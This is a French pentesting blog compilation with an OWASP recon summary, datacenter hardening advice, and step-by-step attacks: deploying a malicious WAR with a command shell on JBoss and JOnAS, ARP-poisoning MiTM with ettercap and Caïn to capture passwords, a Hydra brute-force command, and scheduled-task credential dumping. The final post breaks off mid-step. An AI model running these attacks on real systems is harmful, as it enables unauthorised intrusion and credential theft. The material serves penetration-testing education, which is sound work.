[STANDARD] OWASP - Episode 1

Question de mode ou de professionnalisme, chacun voit les normes et standards à sa manière. Quoi qu'il en soit, elles sont là pour nous guider dans un travail tels que les tests d'intrusion qui ne peuvent être assimilés à une sciences exacte. Dans ce but, nous allons étudier la norme OWASP. Afin d'étudier les différents points qui y sont abordés, 10 épisodes seront rédigés sur ce blog.

1 - Avant-propos

La norme OWASP est découpée de la manière suivante :

• une introduction, la présentation des bases de la norme ;
• la phase préliminaire des tests (collecte d'information) ;
• le déroulement des tests (9 chapitres).

Dans ce premier épisode, nous allons parler des deux premiers points tandis que les 9 prochains épisodes aborderont chacun des 9 chapitres.

Il est important de noter que la norme étudiée est dédiée à la partie tests d'intrusion d'une application WEB. L'OWASP en propose d'autres comme un guide de développement et un guide de revue de code qui sont complémentaires au guide de tests en question [télécharger].

Pour les points 2 et 3 qui suivent, seuls les idées principales seront énoncées. Le but est d'en donner un résumé, non de les retranscrire ;)


2 -Introduction à la norme

2.1 - Le modèle SDLC

La norme OWASP repose sur le modèle SDLC pour Software Development Life Cycle. L'idée est de prendre en compte toutes les étapes de la conception d'une application WEB, c'est à dire les phases de :

• définition (cahier des charges, RFP) ;
• conception ;
• développement ;
• déploiement ;
• maintenance.

L'idée est que plus un problème est détecté tôt, moins il coûtera en temps et en argent. Sachant qu'un test d'intrusion est généralement effectué juste avant son déploiement (tests avant mise en production) ou après son déploiement (pour cause de retard du lancement de tests ou tests récurrents), les trous de sécurité pourraient être traités plus en amont. C'est là qu'entrent en jeu les autres tests : revue du code et développement du code de manière sécurisée.

A cela, il faut ajouter les interviews qui permettent d'obtenir des renseignements auprès des personnes qui ont conçu l'application et qui fourniront par conséquent des informations précieuses et permettront de régler d'éventuels erreurs en amont. S'engage alors la mise en pratique des normes plus organisationnelles tels que l'ISO 27002. Nous pouvons aussi considérer le standard PCI-DSS dans le cadre d'une application bancaire.

Concrètement, la solution se trouve du côté des audits combinés qui permettent de considérer l'ensemble des contrôles aux différentes phases nécessaires. Ce type d'audits devraient comprendre le suivi des standards (ISO 27002), la revue de code, l'audit de configuration et les tests d'intrusion.

2.2 - L'exhaustivité des tests

Pour s'assurer que les tests seront suffisamment exhaustifs, il y a deux concepts à prendre en compte :

• établir les pré-requis avant de lancer les tests qui permettent de prendre en compte les fonctionnalités de l'application WEB et les scénarios possibles. Est-ce que toutes les menaces sont traitées et disposent d'un moyen de contrôle ? de protection ?
  
• l'exhaustivité des tests doit porter sur les composants annexes à l'application (librairies, DLL, etc.) ;
  
• les tests doivent être pondérés :
  
• Tout d'abord, chercher les bugs (tests quantitatifs) ,
  
• Ensuite, évaluer la pertinence et le risque associé (tests qualitatifs).

3 -Les bases de la norme

En premier lieu, la norme recommande la suivi d'un standard de bonnes pratiques pour le développement (ex : eXtreme). Ensuite, il convient d'effectuer les tests à différentes phases :

• Avant le développement de l'application (revue des standards et polices, définition des critères de mesures) ;
• Pendant les phases de définition et de conception (listes des pré-requis, revue de l'architecture, modèle UML, analyse de risque) ;
• Pendant le développement (points d'entrée de l'application ? revue de code) ;
• Pendant le déploiement (tests d'intrusion, audit de configuration) ;
• Pendant la phase de maintenance (gestion de l'infrastructure et de l'application elle-même, tests périodiques et gestion des modifications).

4 - Les tests d'intrusion

Selon la norme OWASP, les tests d'intrusion sont décomposés en :

• 1 phase préliminaire, la phase de collecte (IG pour Information Gathering) ;
• 9 phases de tests actifs.

C'est le premier point que nous abordons dans cette dernière partie de ce post.

4.1 - IG-001 : Aspirateur de site et robots

1/ Il s'agit de récupérer dans un premier temps le fichier robots.txt du site WEB de la cible :

wget http://cible.fr/robots.txt

2/ Analyser ce fichier :
a) Il vous faut un compte google. Si vous n'en avez pas, vous pouvez vous inscrire ici.
b) Utiliser l'outil d'analyse de google.


4.2 - IG-002 : Moteur de recherche

1/ Utiliser un moteur de recherche (ex : google) avec le mot clé site :

site:cible.fr

2/ Glaner des informations sur la page enregistrée en cache :

4.3 - IG-003 : Identification des points d'entrée

Le but ici est de récupérer des informations à l'aide d'un proxy local (tels que Paros, Webscarab ou Burp Suite par exemple).

1/ Ici, identifier les méthodes POST et GET, leur utilisation.
2/ Identifier aussi les paramètres passés dans les URLs, les entêtes et le corps des requêtes et réponses.


3/ Regarder s'il existe des champs cachés ou autre information intéressante dans le code source de l'application.
4/ Étudier l'utilisation des cookies.
5/ Étudier les informations qui peuvent être contenues dans les entêtes.


4.4 - IG-004 : Fingerprinting

Il existe plusieurs manière pour trouver la version du serveur WEB et de l'OS :
1/ Grâce à Netcat :

nc cible.fr 80
HEAD / HTTP/1.0

2/ Si l'entête ne fournit pas directement les informations recherchées, l'ordre des champs peut fournir la réponse.
3/ Tenter les requêtes malformées (exemples) :

nc cible.fr 80
HEAD /truc.html HTTP/1.0
HEAD / HTTP/3.0

4/ Utiliser les outils automatisés comme httprint :

./httprint -h cible.fr -s signatures.txt

5/ Le site Netcraft [site]


4.5 - IG-005 : Découverte de l'application

1/ Trouver les applications annexes via l'URL. Par exemple, http://cible.fr/webmail. Elles peuvent être trouvées en les devinant pour les plus évidentes ou à l'aide d'un scanner WEB comme Nikto.
2/ Trouver les ports non standards hébergeant des interfaces WEB à l'aide d'un scanner de port comme NMAP (puis vérifier avec telnet) :

nmap cible.fr -p- -sS -sV -PN

3/ Lancer les requêtes DNS (pour trouver les hôtes virtuels) :
a) Tenter le transfert de zones ;

host -t ns cible.fr
host -l cible.fr serveur_dns_cible

b) Tenter les requêtes inverses ;

./dns-ptr cible.fr nb_adresse_ip

c) Recherche DNS via le service de Netcraft [site] ;
d) Requêtes inverses [site] ;
e) Autres recherches avec Maltego par exemple.

4.6 - IG-006 : Analyse des erreurs de code

1/ Provoquer des erreurs via les requêtes HTTP (Erreurs 404 et 500 notamment).

nc cible.fr 80
GET /truc.html HTTP/1.0
GET /truc.html HTTP/1.1

2/ Tester les défauts de configuration du serveur WEB, de la base de données, ...



3/ Tenter une mauvaise authentification.

• Le message d'erreur est-il différent quand le login ou le mot de passe sont faux ?
• Une erreur d'authentification révèle-t-elle des informations sur la nature du serveur / équipement d'authentification ?
• Une erreur d'authentification révèle-t-elle des informations sur la nature du login ? du mot de passe ?

La suite au prochain épisode !

[PENTESTING] JBoss hacking

Avec l'expansion des serveurs J2EE, il y a de bonnes chances d'en rencontrer un pendant un test d'intrusion d'application WEB. Après avoir vu Jonas dans un post précédent, nous allons aujourd'hui nous attaquer à JBoss, 2e plateforme J2EE open source répandue. Pour cela, nous allons nous baser sur la présentation qui a eu lieu lors de la conférence Hack.lu 2008 avec les démonstrations qui vont bien.

1 - Reconnaissance de la cible

Pour savoir si nous avons à faire à une plateforme JBoss, le scan de la cible devrait nous aider. En l'occurrence, les ports 8080 et 4444 devraient être ouverts en TCP :

2 - Les attaques

Entrons directement dans le coeur du sujet. Il existe plusieurs pistes d'attaque que nous allons voir toute de suite.

2.1 - Attaque via la console JMX

On obtient l'interface WEB de JBoss facilement en tapant sur la port 8080 de la cible. Puis cliquer sur le lien "JMX console" pour atteindre notre but :

Dans la nouvelle page, lancer une recherche sur le mot "deployment" et cliquer sur le premier lien ("deploymentScanner") :

Dans cette troisième page :

• rechercher la fonction void addURL() et dont le ParamType est java.lang.String ;
• entrer l'adresse où se trouve votre .WAR malicieux dans le champ prévu (ici pentest.war);
• cliquer sur le bouton "Invoke".

Si tout s'est bien passé, la page suivante devrait s'afficher :

Entrer maintenant l'URL suivante (avec ici nom_commande = cmd.jsp) :

http://<adresse_cible>:8080/pentest/<nom_commande>

La fenêtre qui s'affiche permet de lancer n'importe quelle commande. Il existe aussi d'autres scripts dans le .WAR malicieux qui peuvent permettre la compromission du serveur. Et 1 - 0 ! :)

L'attaque peut ne pas être possible si la console JMX est protégée par un mot de passe. Cependant, n'oubliez pas d'essayer les mots de passe triviaux avant d'abandonner ;)

2.2 - Attaque via le programme twiddle

Nous tentons donc de passer par l'interface RMI qui est présente ici. Pour cela, nous avons besoin du programme twiddle qui fait partie de l'exécutable de JBoss.

twiddle.bat -s hostname_cible invoke "jboss.system:service" deploy "pentest.war"

NB : Ici, pentest.war est dans le répertoire bin de l'attaquant. Sinon, ajouter le chemin.

NB : Vous pouvez aussi utiliser twiddle.sh ou twiddle.jar.

Les résultats obtenus sont les mêmes que pour la première attaque : et 2 - 0 !


2.3 - Attaque via le BSH Deployer

Nous sommes dans le cas où nous ne sommes pas autorisé à initier un flux sortant contrairement à la première attaque (contrôle pare-feu). Ici, nous utilisons un *.WAR malicieux allégé nommé pentest_light.war. Vous allez comprendre très vite pourquoi ...

Tout d'abord, nous allons devoir écrire un petit programme JAVA. Avant cela, il nous faut juste encoder notre .WAR malicieux en base64. Pour effectuer cette opération, il existe des programmes (base64 file > encoded_file.txt sur la backtrack) ou des sites en lignes [exemple ou exemple2].

Nous plaçons le code obtenu dans le programme qui suit. Je précise que je ne suis pas l'auteur de ce code ;) Ce sont les Red Team les boss !

import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;

String val = "<.war malicieux en base64 ici>";

BASE64Decoder decoder = new BASE64Decoder();
byte[] byteval = decoder.decodeBuffer(val);
FileOutputStream fstream = new FileOutputStream("/tmp/pentest_light.war");
fstream.write(byteval);
fstream.close();

1/ Nous devons accéder à la console jmx et rechercher le BSHDeployer :


2/ Nous utilisons la méthode CreateScriptDeployment() avec les paramètres suivants :

• le script lui-même (attention, supprimer les sauts de ligne) ;
• le nom de notre script BSH sans l'extension (qui sera concaténée automatiquement).
  

3/ Une fois que vous avez cliqué sur le bouton "Invoke", le script est présent sur le serveur et a été interprété automatiquement. Notre module pentest_light.war est donc présent sur le serveur. Il ne nous reste plus qu'à le déployer avec une adresse locale :

2.4 - Attaque via la WEB console

Maintenant, nous nous trouvons dans le cas de figure où nous n'avons accès ni à la console JMX (attaques 1 et 3), ni à l'interface RMI (attaque 2).



A suivre ...

Conclusion

JBoss ouvre donc plusieurs voies d'attaque lorsqu'on l'installe par défaut. Il existe plusieurs mesures permettant de renforcer la sécurité de la plateforme J2EE. Elles devront toutes être mises en place pour parer à l'ensemble des menaces :

• Mise en place d'un mot de passe sur l'interface JMX ;
• Filtrage au niveau du pare-feu ;
• Contrôle d'accès (sources) ;
• Fermeture des ports non utilisés sur le système (ex : interface RMI).
• Etc.

[WEB PENTESTING] SSL Capture Password

Nous nous mettons dans le cas d'un audit d'un site WEB utilisant le protocole SSL. Alors que la plupart des internautes y voient une sécurité certaine, l'utilisateur averti connaît les faiblesses de ce protocole quand il est mal configuré. Ce post commencera par évaluer la robustesse de la sécurité de la communication. Dans un second temps, nous exploiterons le protocole s'il peut être affaibli (ou s'il l'est déjà ...).

1 - Quelques informations nécessaires.

Le protocole SSL existe en plusieurs versions. Vous trouverez sur Internet toutes les informations nécesaires. Pour commencer, Wikipédia est certainement un bon début grâce à l'article dédié à ce protocole [ici].

Mais pour la suite, nous avons juste besoin de savoir que nous trouvons principalement sur le WEB :

• CAS 1 : Des serveurs WEB reposant sur un certificat SSLv2 vulnérable à des attaques de type Man-in-the-Middle ;
• CAS 2 : Des serveurs WEB reposant sur un certificat SSLv3/TLSv1 mais supportant aussi le protocole SSLv2. Ils deviennent alors eux aussi vulnérables au mêmes type d'attaque ;
• CAS 3 : Des serveurs WEB reposant sur un certificat SSLv3/TLSv1 et ne supportant que ce protocole. Ces serveurs ne sont pas vulnérables sauf si la clé de chiffrement est faible.

Le certificat par défaut peut utiliser un algorithme de chiffrement robuste mais cela n'empêche pas qu'il peut supporter des algorithmes de chiffrements plus faibles.

2 - Le serveur audité est-il vulnérable ?

Pour résumer la première partie, la réponse sera "oui" s'il supporte le protocole SSLv2 et/ ou s'il supporte des algorithmes de chiffrement basée sur une clé trop faible.

Pour effectuer nos tests, nous allons étudier l'outil SSLDigger de Foundstone [télécharger].

Le certificat par défaut peut utiliser un algorithme de chiffrement robuste mais cela n'empêche pas qu'il peut supporter des algorithmes de chiffrements plus faibles.

Après avoir lancé l'outil et entré l'adresse du site, appuyez sur le bouton "GO". De suite, nous voyons que le certificat repose sur un algorithme RSA et une clé de chiffrement de 1024 bits : c'est bon ! De plus, nous remarquons qu'il est signé par une entité reconnue.

Mais supporte-t-il aussi des protocoles faibles ? Pour cela, SSLDigger lance automatiquement les tests si vous avez cliqué sur sur "oui" sur la popup apparue à l'ouverture de l'outil. Sinon, vous trouverez un bouton "SSL test" sur l'interface.

Une fois les tests terminés, cliquez sur "oui" pour enregistrer et voir le rapport. En l'occurrence, nous voyons que des protocoles faibles sont supportés (3 exactement) :

Le détails de ces protocoles est donné plus loin dans le rapport. Il est donc techniquement possible de casser la clé de chiffrement après s'être connecté avec l'un des algorithmes comportant une clé de longueur trop faible. Cela se fait à l'aide d'OpenSSL notamment mais ce n'est pas cette voie que nous allons détailler.

Nous allons néanmoins de suite utiliser cette commande pour voir si le site audité supporte le protocole SSLv2 :

openssl s_client -ssl2 -connect www.cible.com:443

Bingo ! Nous nous connectons au serveur en SSLv2. (NB: avec le protocole DES-CBC3-MD5, l'un des protocoles repérés par SSLDigger).

Alors nous pouvons passer à la suite !

3 - Lancement d'une attaque de type Man-in-the-Middle

3.1 - Préparation

Pour mener l'attaque, nous aurons besoin d'un seul outil, Ettercap [télécharger].

Configuration (si vous utilisez ipchains/iptables) :

1. Ouvrir etter.conf ;


2. Décommenter les lignes :
   
   
   
   1. redir_command_on
   
   
   2. redir_command_off
   
   
   
   

Le scénario est le suivant :

• 1 serveur qui correspond à nos critères de la phase 2 ;
• 1 machine victime qui se connecte vers se serveur après authentification ;
  
• 1 machine pirate qui se placera entre les deux machines pour mener une attaque de type MiTM.

3.2 - Lancement de l'attaque

On commence par vérifier que toutes les machines sont localisées (en ligne de commande "T", sur l'interface eth0 "i") :

ettercap -Tqi eth0 // //

On devrait voir l'adresse de la victime et celle du routeur commun (cadre rouge) alors que l'adresse du pirate apparaît en haut (cadre vert) :

L'attaque se lance avec la commande suivante :

ettercap -Tqi eth0 -M arp -l mission /adresse-routeur/ /adresse-victim/

Vous capturerez le compte dès que la victime se connectera sur le site avec son couple login/mot de passe.

Par la suite, nous pouvons retrouver les résultats en lisant le fichier de capture :

etterlog mission.eci

The account is owned! Have fun! :)

[SECURITY] Datacenter

Lors d'un pentest pour une entreprise, vous devrez certainement vous attaquer à un Datacenter car c'est bien là que sont installés les serveurs et équipements réseau du SI de la compagnie. De suite, nous comprenons l'enjeu de sécuriser le Datacenter ... Dans ce post, nous ne verrons qu'un seul aspect de la sécurité, les contrôles logiques.

1 - Apporter et maintenir le niveau de sécurité

1.1 - Application des bonnes pratiques systématique :

Un Datacenter "vit" et même sécurisé, le moindre changement peut ébranler son niveau de sécurité. Par exemple, dans le cas de l'installation d'un nouveau serveur, les principales mesures à prendre en compte sont :

• le système d'exploitation du serveur doit être "masteriser" avec les seules applications nécessaires et une sécurisation en amont si possible ;
• seuls les comptes nécessaires doivent être autorisés à se connecter à la machine que ce soit localement ou à distance ;
• seuls les services utiles doivent tourner. De plus, ils ne doivent être lancés "automatiquement" que si cela est nécessaire pour le bon fonctionnement du serveur et des applications hébergées. Sinon, une activation "manuelle" et un service arrêté au démarrage du système est préférable. Enfin, un compte de service avec des droits restreints doit être accordé au service ;
• la configuration des modules systèmes et des applications doit être travaillée. Par exemple, seules les communications sécurisée via SSH sont autorisées. Cela passe par la configuration du service de même nom via des fichiers de configuration comme sshd_config.

1.2 - Renforcement de la sécurité d'un système

Pour assurer tous les piliers de la sécurité à une machine, il nous faudrait installer idéalement :

• un agent de sauvegarde pour la disponibilité des données ;
• un agent chargé de surveiller l'intégrité des informations (ex : Tripwire) ;
• un agent chargé de tracer les évènements pour la non-répudiation des actions (ex : Syslog) ;
• le chiffrement des disques pour la confidentialité.
  

Dans la réalité, la société devra étudier et classer ses serveurs selon sa criticité (en général, en fonction de son exposition et des données contenues). Alors, la sécurité apportées doit être en adéquation avec le niveau de criticité attribué à la machine.


2 - La gestion des incidents

Personne n'est à l'abri d'un incident. Et lorsque cela arrive, il faut être en mesure de :

• le repérer. Cela peut se faire idéalement à l'aide d'un SOC et d'une équipe de monitoring pour l'animer. Ce SOC devrait reposer sur une solution de corrélation de logs (ex : OSSIM) ;
• le cerner. L'incident peut être de nature diverse. Ensuite, il peut être plus ou moins prioritaire. Mais avant tout, il faut être sûr qu'il ne s'agit pas d'un faux positif. Il faut donc vérifier la pertinence de l'alerte reçue. Si l'alarme est justifiée, l'incident doit être signalé à toutes les personnes impliquées ;
• l'analyser et le traiter. Un incident reconnu doit être pris en charge par l'équipe sécurité. Celle-ci entame alors une investigation pour déterminer la nature exacte de l'attaque, sa provenance, ses conséquences / actions et les actions à prendre en compte dans l'immédiat pour éviter une propagation par exemple et à échéance pour éviter le reproduction d'un incident de même nature.
  

Diverses mesures permettent d'obtenir une gestion d'incident efficace. Pour citer quelques exemples, une solution éprouvée doit être mise en place pour repérer les incidents avec fiabilité, une procédure détaillée doit être instaurée pour s'assurer qu'un incident sera traité de bout en bout et les moyens doivent être mis à la disposition des opérationnels sécurité pour mener à bien la phase d'investigation.

3 - Pérennisation de la sécurité logique

Pour faire face aux menaces continues des attaquants et pour se préparer contre les nouveaux vecteurs d'attaques. Pour cela, voici un résumé des recommandations qui peuvent être mises en place :

• une gestion des mises à jour rigoureuse. En plus du déploiement d'une solution telle que SCCM pour le déploiement des mises à jour, la compagnie devrait s'abonner à une liste de veille sécurité. Ainsi, les équipes sécurité seront au courant des menaces en quasi temps réel. Alors, en cas d'attaque critique (e.g. Ver), une procédure d'urgence d'application de patch doit être déroulée ;
• effectuer un audit de configuration. Pour s'assurer que les recommandations sécurité sont appliquées correctement, des audits de configuration avant la mise en production et régulièrement devraient être planifiés. Par exemple, il pourrait s'agir de vérifier qu'une application WEB et les client autorisés ne communiquent qu'en TLSv1 pour assurer l'intégrité et la confidentialité des données échangées ;
• effectuer des audits de vulnérabilité (ou mieux, des tests d'intrusion). Pour s'assurer de la robustesse d'un équipement du Datacenter, le mieux est d'effectuer un test d'intrusion sur cet élément ou à défaut, un test de vulnérabilité. Effectués régulièrement, ils permettent de s'assurer de la sécurité de la machine dans le temps. Evidemment, cela suppose que les actions correctives sont apportées concernant les failles trouvées pendant l'audit...
  

Finalement, toutes les mesures à prendre en compte ont pour objectif de garantir la concordance entre le niveau de sécurité des équipements et la politique de sécurité de l'entreprise.

Conclusion

Le post a présenté les aspects logique en termes de sécurité IT d'un Datacenter. Cependant, les mesures apportées ne seront efficaces que si elles sont accompagnées d'une sécurité organisationnelle et physique. A quoi bon blinder ses serveurs s'il est possible d'accéder facilement à la salle contenant les machines ? A quoi bon prévoir des solutions de sécurité drastiques si elles ne sont pas (ou mal) appliquées grâce à des procédures précises et connues par les personnes impliquées ? C'est pourquoi, pour aller plus loin et aborder ces autres aspects de la sécurité, je vous propose la lecture de l'article sur la sécurisation des datacenters paru dans Hakin9 de nov/déc 2008. Vous verrez, l'auteur est très sympa ;)

[PENTESTING][DNS]Train with backtrack's tools

Lorsque vous cherchez à auditer un serveur DNS, il existe de nombreux outils à votre disposition. En l'occurrence, la Backtrack vous en propose un certain nombre. Nous allons nous amuser un peu avec aujourd'hui pour mieux les comprendre. Nous avons déjà vu précédemment DnsEnum, plus complet mais cette fois, il s'agit d'opérer sur des points plus précis. C'est parti !

1 - DNS-ptr

But : Effectuer un grand nombre de requêtes DNS inverses pour trouver les hostnames de la plage IP auditée.

Syntaxe :

$ dns-ptr adresse-ip-auditée nombre-machines

Exemple :

2 - DNSWalk

But : Tenter des transferts de zones sur l'ensemble des adresses récupérées.

Syntaxe :

$ dnswalk adresse-ip-auditée

Exemple :

3 - DNSBruteforce

But : Tenter de trouver des machines supplémentaires sur le domaine en devinant les noms de machine, grâce à la technique de Bruteforce.

Syntaxe :

$ ./DNSBruteforce.py domaine-audité server.lst hosts-txt

Exemple :

Astuces :

• Peupler le fichier hosts-txt (ex : apache, gw, gateway, ns0, ns1, ns2, ns01, news, etc...) ;
• Peupler le fichier server.lst avec les serveurs DNS de la cible en lançant la commande suivante ;

$ dig NS cible

• Lancer la commande une première fois (cf. exemple ci-dessous) ;
• Peupler de nouveau le fichier hosts-txt avec les premiers résultats trouvés (ex : gw5, gw6, ... si on a trouvé gw1 à gw4 la première fois) ;
• Relancer la commande.

4 - DNSMap

But : Comme l'outil précédent, il a pour objectif de trouver des machines supplémentaires sur le domaine cible à partir d'un "dictionnaire". De plus, il présente les résultats par type et avec l'adresse IP associée.

Syntaxe :

$ dnsmap domaine-audité liste

Exemple :

Have fun ;)

[PENTEST WINDOWS] Find credentials using TaskManager!

En tant qu'agent confirmé, vous savez que lors d'un pentest sur Windows, vous passerez forcément par l'étape Dump de hashes et crackages. Fastidieux ? Alors voici une nouvelle méthode : passer par le TaskManager !

1 - Contexte

Ce post a pu être réalisé grâce à l'article très bien fait d'Ivanlef0u. Vous y trouverez toutes les explications. Dans le cadre d'un pentest, il faudrait que la machine auditée soit sous Windows donc et qu'une tâche planifiée au moins soit créée. Sachant que les droits administrateurs sont requis pour créer une telle action, nous devrions obtenir des credentials intéressants ;)

Dans la suite de ce post, nous reprenons le scénario depuis le début à des fins pédagogiques. Votre mission est de reproduire les étapes. Attention, vous pourriez être surpris !

2 - Mise en condition

Nous commençons par créer un tâche. Pour exemple, nous décidons de lancer le programme Paint. Mais nous aurions pu choisir n'importe quel autre programme. Deux méthodes :

• en ligne de commande :
  

at 18:05 paint.exe

• avec l'interface graphique :

Aller dans Démarrer > Paramètres > Panneau de configuration > Tâches planifiées. Dans la nouvelle fenêtre, cliquer sur "Création d'une nouvelle tâche" et suivez les instructions du wizard (ex : Paint, toutes les semaines, les jeudis à 22h45). Vous devrez renseigner les credentials ... ce qu'aura fait aussi l'administrateur de la machine auditée lors d'un test d'intrusion !

La figure suivante montre la liste des tâches créées : la première en ligne de commande (At1) et la seconde via la GUI (Paint).

3 - L'attaque

Grâce au programme d'Ivanlef0u, le travail va être très simple mais pas moins impressionnant ! Commencez par télécharger le programme que vous trouverez ici. Décompresser et via l'interpréteur de commande, rendez-vous dans le répertoire d'execution nommé exe\Release.

Il ne vous reste plus qu'à exécuter le programme ...

TaskPwdDmp.exe

... et à admirer le résultat !

Have fun ;)

[INTERNAL PENTEST] Caïn - attack local application

Que le test soit initialement interne ou que vous ayez réussi à obtenir un accès en passant par un accès externe (ex : Internet), il arrivera un moment où vous vous trouverez sur le LAN de la cible. Alors, vous aurez besoin de Caïn qui représentera un réel couteau suisse dans votre aventure ! Nous ne verrons qu'une toute petite partie de ses capacités dans ce billet mais de quoi déjà faire des ravages !

1 - Contexte

Voici le contexte qui représente dans le même temps les conditions nécessaires pour réussir les opérations qui vont suivre :

• nous avons {obtenu} un compte sur une machine du réseau locale de la cible ;
• ce compte a les droits "administrateur local" ;
• l'antivirus sur la machine de travail est inefficace ou vous avez réussi à le désactiver.

Il existe des méthodes de contournement pour la première condition. La deuxième est soit fournie par le client, soit obtenue grâce à une escalade de privilège. Quant à la troisième, nous supposons que la cible est assez sérieuse pour avoir installé un antivirus sur chaque machine. Cependant, pour le désactiver, il faudrait en théorie avoir des droits suffisants sur le domaine, sans quoi, un utilisateur pourrait le désactiver facilement.

2 - Redirection du trafic

Ici, nous souhaitons récupérer les informations sensibles que nous pouvons intercepter sur le réseau interne, en l'occurrence logins et mots de passe. Souvent, se croyant protéger sur son propre réseau, les communications sont en clair sur le réseau en question. Nous verrons que c'est souvent réellement le cas.

Alors, par une attaque appelée ARP Cache Poisoning, nous allons faire en sorte que les associations adresses MAC - Adresses IP soient modifiées dans le but de faire croire que d'autres adresses IP correspondent à notre adresse MAC. Cette attaque bien connue est bien expliquée sur Wikipédia. En plus de récupérer le trafic d'autres utilisateurs, vous le redirigez de sorte que l'opération reste transparente pour les victimes.

C'est ici qu'intervient Caïn ! Vous devriez commencer par le télécharger ici et l'installer si vous ne l'avez pas déjà fait auparavant.

2.1 - Configuration de Caïn

Dans le menu, cliquer sur Configure. par défaut, vous arrivez sur l'onglet Sniffer. Ici, vérifier que la bonne carte réseau est sélectionnée et que l'option "Don't use Promiscuous mode" n'est pas cochée.

Ensuite, rendez-vous dans l'onglet APR. Si vous avez pour but d'être discret, sélectionnez "Use Spoofed IP and MAC address" et modifier l'adresse IP et l'adresse MAC en choisissant des valeurs cohérentes. Les autres paramètres peuvent être laissés par défaut :

2.2 - Lancer la redirection de trafic

Voici la démarche à suivre :

• cliquer sur les boutons "sniffer" et "APR" dans la barre de menu en haut à gauche ;
• cliquer sur l'onglet "sniffer" (en haut) ;
• cliquer sur le sous-onglet "APR" (en bas) ;
• cliquer sur le "+" pour paramétrer l'attaque ARP Cachee Poisoning où vous choisirez la ou les machine(s) cible(s) :
  
  

• c'est bon, le sniffing est en cours !

3 - Interception des mots de passe

Il vous suffit de vous rendre dans le sous-onglet "Hosts" pour obtenir des informations intéressantes.

Encore mieux, allez dans le sous-onglet "Passwords" et là, trouvez tous les mots de passe interceptés, ainsi que les logins associés de tous les credentials qui circulent sur le réseau à travers de nombreux protocoles : HTTP, SMB, LDAP, etc.).

Have fun ;)

[PENTESTING] Get access through HTTP form using Hydra

Lors du dernier post, nous avons rencontré une interface WEB contenant une méthode d'authentification basée sur un mode dit "HTTP-Form". Puisqu'il existe de très nombreuses applications WEB utilisant cette méthode, il y a de grande chance que vous soyez amenés à tester la force du mot de passe. Nous partons du principe ici que l'attaque ne peut se faire qu'online.

NB : Comme tous les posts de ce blog, la démonstration qui suit n'a de vocation que de sensibiliser et prévenir et non de porter atteinte à quiconque, ce qui serait illégal !

0 - Contexte

Dans ce billet, nous reprenons le cas d'une application Jonas. Nous supposons que nous avons trouver l'interface admin grâce à des scanners comme NMAP (ici, il s'agirait d'une application WEB sur le port 9000, port utilisé par défaut par Jonas) ou des scanners WEB comme Nikto ou Wikto qui sont capables de trouver les pages de ce type. Notre cible est donc http://123.123.123.123:9000/jonasAdmin, sachant que c'est ici que se trouve par défaut la page d'administration de l'appli J2EE en question. Aussi, nous savons - ou avons appris suite à nos recherches - qu'il existe un nom d'utilisateur par défaut : jonas. Pour terminer, nous supposons que le mot de passe a été changé et n'est plus celui par défaut (qui serait ici jonas).

1 - A la recherche des informations clés !

Pour réussir notre attaque, nous utiliserons Hydra de THC. Ensuite, nous avons besoin d'un certain nombre d'éléments, à savoir :

• le nom du champ contenant le login dans la page WEB ;
• le nom du champ contenant le mot de passe dans la page WEB ;
• le nom de la page / du script vérifiant la validité ou non du couple login/mot de passe fourni par l'utilisateur ;
• un mot spécifique retourné par la page d'erreur en cas d'échec de l'authentification.
  

Il existe plusieurs méthodes pour obtenir ces informations. Mais la méthode la plus fiable qui nous assurera de toutes les avoir est d'utiliser un proxy local. S'il en existe bien d'autres, nous utiliserons ici Paros.

Une fois Paros lancé, nous configurons notre navigateur de sorte qu'il utilise ce proxy local (par défaut sur le port 8080). Cette opération peut se faire manuellement dans les options de votre navigateur (Outils > Options > Avancé > Réseau > Paramètres) ou via une extension après configuration (ex : l'extension Switch proxy de firefox).


Nous allons maintenant sur la page http://123.123.123.123:9000/jonasAdmin et tapez jonas en tant que login et un mot de passe aléatoire, exemple jonas pour être sûr que le mot de passe par défaut n'a pas été laissé tout simplement.


Effectivement, le mot de passe a été changé. Cependant, nous obtenons la dernière information clé et nous utiliserons le mot Invalid.

Nous retournons maintenant dans Paros :


La première requête POST contient toutes les infos dont nous avons besoin :

• le champ login à utiliser est j_username ;
• le champ mot de passe à utiliser est j_password ;
• la page à utiliser est j_security_check.

Nous sommes parés ! Il est donc temps de passer à l'étape suivante.


2 - Crackage du mot de passe

Pour casser le mot de passe, nous avons deux solutions : soit par brute-force, soit une attaque par dictionnaire. En tant que bon agent de Mission-Security, vous n'aurez pas négligé la phase de prise d'information et vous aurez certainement une bonne idée de ce que pourrez être le mot de passe. Alors, commençons par une attaque par dictionnaire et seulement ensuite, tenter une attaque par brute-force en cas d'échec.
Donc, une fois écrit votre fichier de mots de passe personnalisé pour la cible (appelé ici passwords.txt), nous pouvons lancer Hydra avec la commande suivante (ATTENTION : votre antivirus peut empêcher l'exécution du cracker) :

hydra -l jonas -P password.txt -s 9000 -o results.txt 123.123.123.123 http-post-form "/jonasAdmin/j_security_check:j_username=^USER^&
j_password=^PASS^&submit=Login:Invalid"

NB : avec -s, le numéro du port.

Le résultat ne se fait pas attendre :

Have fun ;)

[WEB PENTESTING] Hack a JOnAS Web Application

Avec le WEB 2.0, les applications WEB se sont largement multipliées, augmentant dans le même temps les failles de sécurité. Parmi ces applis, nous trouvons JOnAS. Le post suivant propose un scénario d'attaque dans le cas où vous trouveriez cette solution.

NB : Comme tous les posts de ce blog, la démonstration qui suit n'a de vocation que de sensibiliser et prévenir et non de porter atteinte à quiconque, ce qui serait illégal !

1 - Avoir accès à la page d'administration

Supposons que nous avons repéré JOnAS - une application WEB téléchargeable sur *NIX et WIN* - sur un serveur cible, tournant par défaut sur le port 9000. Il suffit d'utiliser notre navigateur pour nous retrouver sur la page de la cible (ici, à l'adresse 192.168.123.123 pour notre démonstration, reposant sur une plateforme Windows mais les tests peuvent aussi être lancer sous *NIX) : http://192.168.123.123:9000/jonasAdmin. Vous arrivez sur la page suivante :


Par défaut, les credentials sont jonas/jonas, tentez votre chance ! Sinon, il existe de nombreuses méthodes pour trouver le mot de passe s'il a été changé :

• Avec Brutus (cf. la fin du post "Is your money safe?") ;
• Avec Hydra. Ce deuxième cas fera l'objet du prochain post.

2 - Ajouter le module malicieux

Une fois loggé, nous pouvons déployer un nouveau module sur le serveur. Celui-ci, nommé mission-security.war, contiendra les pages malicieuses ... Pour cela, sur la page d'admin de JOnAS :

• Etendez "Deployment" (colonne de gauche) ;
• Cliquez sur "Web Modules (WAR)" ;
• Cliquez sur le deuxième onglet "Upload" (page principale) ;
